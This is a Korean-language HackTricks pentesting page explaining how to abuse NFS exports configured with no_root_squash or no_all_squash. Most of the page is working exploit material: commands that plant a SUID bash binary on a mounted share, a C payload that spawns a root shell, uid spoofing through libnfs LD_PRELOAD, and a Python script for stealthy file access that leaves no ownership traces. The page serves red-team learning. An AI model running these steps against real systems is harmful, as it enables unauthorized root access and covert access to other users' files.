tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
/etc/exports 파일을 읽어보세요. no_root_squash로 구성된 디렉토리를 찾으면, 클라이언트로서 해당 디렉토리에 접근하고 로컬 머신의 root인 것처럼 그 안에 쓸 수 있습니다.
no_root_squash: 이 옵션은 기본적으로 클라이언트의 root 사용자에게 NFS 서버의 파일에 root로 접근할 수 있는 권한을 부여합니다. 이는 심각한 보안 문제를 초래할 수 있습니다.
no_all_squash: 이 옵션은 no_root_squash와 유사하지만 비루트 사용자에게 적용됩니다. 예를 들어, nobody 사용자로 쉘을 가지고 있고, /etc/exports 파일을 확인했으며, no_all_squash 옵션이 존재하고, /etc/passwd 파일을 확인한 후, 비루트 사용자로 에뮬레이트하고, 그 사용자로 SUID 파일을 생성한 후(nfs를 사용하여 마운트) nobody 사용자로 SUID를 실행하여 다른 사용자로 변환할 수 있습니다.
Privilege Escalation
Remote Exploit
이 취약점을 발견했다면, 이를 악용할 수 있습니다:
- 클라이언트 머신에서 해당 디렉토리를 마운트하고, root로 마운트된 폴더 안에 /bin/bash 바이너리를 복사한 후 SUID 권한을 부여하고, 피해자 머신에서 그 bash 바이너리를 실행합니다.
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
- 클라이언트 머신에서 해당 디렉토리를 마운트하고, 루트로 복사하여 마운트된 폴더 안에 SUID 권한을 악용할 컴파일된 페이로드를 넣고, 피해자 머신에서 해당 바이너리를 실행합니다 (여기에서 일부 C SUID 페이로드를 찾을 수 있습니다).
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
Local Exploit
note
당신의 머신에서 피해자 머신으로 터널을 생성할 수 있다면, 필요한 포트를 터널링하여 이 권한 상승을 이용하기 위해 원격 버전을 여전히 사용할 수 있습니다.
다음 트릭은 파일 /etc/exports
가 IP를 나타내는 경우에 해당합니다. 이 경우 어떤 경우에도 원격 익스플로잇을 사용할 수 없으며 이 트릭을 악용해야 합니다.
익스플로잇이 작동하기 위한 또 다른 필수 조건은 /etc/export
내의 내보내기가 insecure
플래그를 사용해야 한다는 것입니다.
--나는 /etc/export
가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못합니다--
Basic Information
이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 이용하여 NFSv3 사양의 결함을 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있어 무단 접근을 가능하게 합니다. 익스플로잇은 NFS RPC 호출을 위조할 수 있는 라이브러리인 libnfs를 사용합니다.
Compiling the Library
라이브러리 컴파일 단계는 커널 버전에 따라 조정이 필요할 수 있습니다. 이 특정 경우에는 fallocate 시스템 호출이 주석 처리되었습니다. 컴파일 과정은 다음 명령어를 포함합니다:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Exploit 수행
이 exploit는 root 권한을 상승시키고 쉘을 실행하는 간단한 C 프로그램(pwn.c
)을 생성하는 것을 포함합니다. 프로그램은 컴파일되고, 결과 이진 파일(a.out
)은 suid root로 공유에 배치되며, ld_nfs.so
를 사용하여 RPC 호출에서 uid를 위조합니다:
- 익스플로잇 코드 컴파일:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- 공유에 익스플로잇을 배치하고 uid를 위조하여 권한을 수정합니다:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- root 권한을 얻기 위해 익스플로잇을 실행합니다:
/mnt/share/a.out
#root
보너스: NFShell을 통한 은밀한 파일 접근
root 접근이 얻어진 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid와 일치하도록 uid를 조정하여, 권한 문제 없이 공유의 파일과 상호작용할 수 있게 합니다:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
다음과 같이 실행하십시오:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.